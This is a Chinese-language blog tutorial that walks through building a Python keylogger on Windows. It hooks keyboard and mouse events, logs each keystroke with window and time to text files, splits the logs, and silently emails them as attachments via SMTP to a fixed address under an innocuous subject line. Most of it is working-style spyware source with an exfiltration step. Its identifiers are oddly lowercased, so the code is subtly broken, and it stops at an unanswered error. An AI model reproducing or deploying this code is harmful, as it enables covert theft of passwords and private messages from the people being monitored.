Python监听键盘和鼠标事件，并发送内容至邮箱！

一. 环境以及工具

环境：win10，python3.6

工具：jetbrains pycharm 2018.1.4

二. 使用的第三方库：

import os
import smtplib  #发送邮件
import time
import threading
import email复制代码

下面这三个库主要用来监听：

import pyhook3
import pythoncom
from past.builtins import xrange复制代码

若环境没有自带以上第三方库，可以参照如下图示方法导入，或者自行谷歌

​

三. 实现监听键盘、鼠标动作

使用pyhook3、pythoncom库监听键盘、鼠标事件

# 创建监听对象
    manager = pyhook3.hookmanager()

    # 监听所有键盘事件
    manager.keydown = on_keyboard_event
    # 设置键盘监听
    manager.hookkeyboard()

    # 循环监听, 若不手动关闭, 程序将一直处于监听状态
    pythoncom.pumpmessages()复制代码

on_keyboard_event是用来打印监听信息的函数

def on_keyboard_event(event):
    """
    监听键盘事件
    :param event:
    :return: 同鼠标监听事件的返回值
    """

    print('================== start listening keyboard ====================')
    print('messagename: ', event.messagename)
    print('message: ', event.message)
    print('time: ', event.time)
    print('window: ', event.window)
    print('ascii: ', event.ascii, chr(event.ascii))
    print('key: ', event.key)
    print('keyid: ', event.keyid)
    print('scancode: ', event.scancode)
    print('extended: ', event.extended)
    print('injected: ', event.injected)
    print('alt: ', event.alt)
    print('transition: ', event.transition)
    print('================== start listening keyboard ====================')

    return true复制代码

返回“true”，用于持续监听，监听鼠标的实现与监听键盘类似。

四. 将监听信息写入文件

将打印在控制台的监听键盘信息写入到当前目录的txt文件中

def on_keyboard_event(event):
    """
    将监听的键盘信息写入文件
    :param event:
    :return:
    """
    with open('./keyboard.txt', 'a+') as f:
        f.write(
            '事件: ' + event.messagename + ', 时间: ' + format_time() + ', 窗口信息: '
            + str(event.window) + ', 键值: ' + event.key + ', 键id: ' + str(event.keyid) + '\r\n')

    return true复制代码

五. 分割监听信息文件

按照文件内容分割，而不是按照文件大小。因为按照文件大小分割时，部分相连的内容将会被分割到两个文件中。

def split_file(self):
        """
        按照内容行数分割
        :return:
        """
        with open(self.filename + '.txt', 'r') as f:
            global index
            while 1:
                index += 1
                try:
                    with open(self.filename + '_%d.txt' % index, 'w') as temp:
                        for _ in xrange(self.size):
                            temp.write(f.__next__())
                except stopiteration:
                    break

    def timer_split_file(self):
        """
        超过指定行数则分割
        :return:
        """
        with open(self.filename + '.txt', 'r') as f:
            lines = f.readlines()
            if lines.__len__() > self.size:
                self.split_file()复制代码

六. 将监听信息发送到指定邮箱

利用邮箱相互发送邮件的方式发送监听信息，所以必须开启发送者邮箱的pop3/smtp服务。监听信息文件以附件的形式发送。若开启了pop3/smtp服务，而接受者没有看到邮件，可能邮件在接受者邮箱的垃圾箱中。

@staticmethod
    def send_email():
        host = 'smtp.163.com'  # 设置邮件服务器
        user = 'svip*****@163.com'  # 发送者
        password = 'smt*****1'  # 客户端授权密码

        sender = 'svip******@163.com'  # 匿名发送
        receiver = ['1341****[e-mail]']  # 接收邮件

        # 构造邮件对象
        msg = mimemultipart('alternative')
        msg['from'] = sender
        msg['to'] = ";".join(receiver)
        msg['subject'] = header('have a nice day,how are you?', 'utf-8')
        msg['message-id'] = make_msgid()
        msg['date'] = formatdate()
        message = mimetext('this is today content', 'plain', 'utf-8')
        msg.attach(message)

        # 构造附件对象,发送鼠标监听信息
        if index != 0:
            for num in range(1, index + 1):
                mouse_file_name = './mouse_' + str(num) + '.txt'
                mouse_file = open(mouse_file_name, 'rb').read()
                mouse_send = mimetext(mouse_file, 'base64', 'utf-8')
                mouse_send['content-type'] = 'application/octet-stream'
                mouse_send['content-disposition'] = 'attachment;filename=' + mouse_file_name
                msg.attach(mouse_send)

        # 发送键盘监听信息
        key_file = open('./keyboard.txt', 'rb').read()
        key_send = mimetext(key_file, 'base64', 'utf-8')
        key_send['content-type'] = 'application/octet-stream'
        key_send['content-disposition'] = 'attachment;filename=keyboard.txt'
        msg.attach(key_send)

        # 发送邮件
        try:
            mail = smtplib.smtp_ssl(host, 465)
            mail.login(user, password)
            mail.sendmail(sender, receiver, msg.as_string())
            mail.quit()
        except smtplib.smtpexception:
            # 异常信息不捕获
            pass复制代码

七. bug and solve

warning 01:

this inspection detects any methods which may safely be made static.

solution 01:

在方法上面加: @staticmethod

error 02:

typeerror: main() missing 1 required positional argument: 'self'

solution 02:

先实例化类, 再使用类

e.g.

listening = listening()

listening.main()

error 03:

typeerror: 'float' object is not callable

solution 03:

变量名与方法名冲突,或者与关键字冲突

error 04:

email.errors.multipartconversionerror:cannot attach additional subparts to non-multipart/*

solution 04:

没有创建带附件的实例

e.g.

msg = mimemultipart('mixed')

error 05:

使用smtp.qq.com发送邮件时:connection unexpectedly closed

solution 05:

发送者邮箱没有开启pop3/smtp服务

e.g.

​

error 06:

smtplib.smtpheloerror: (500, b'error: bad syntax')
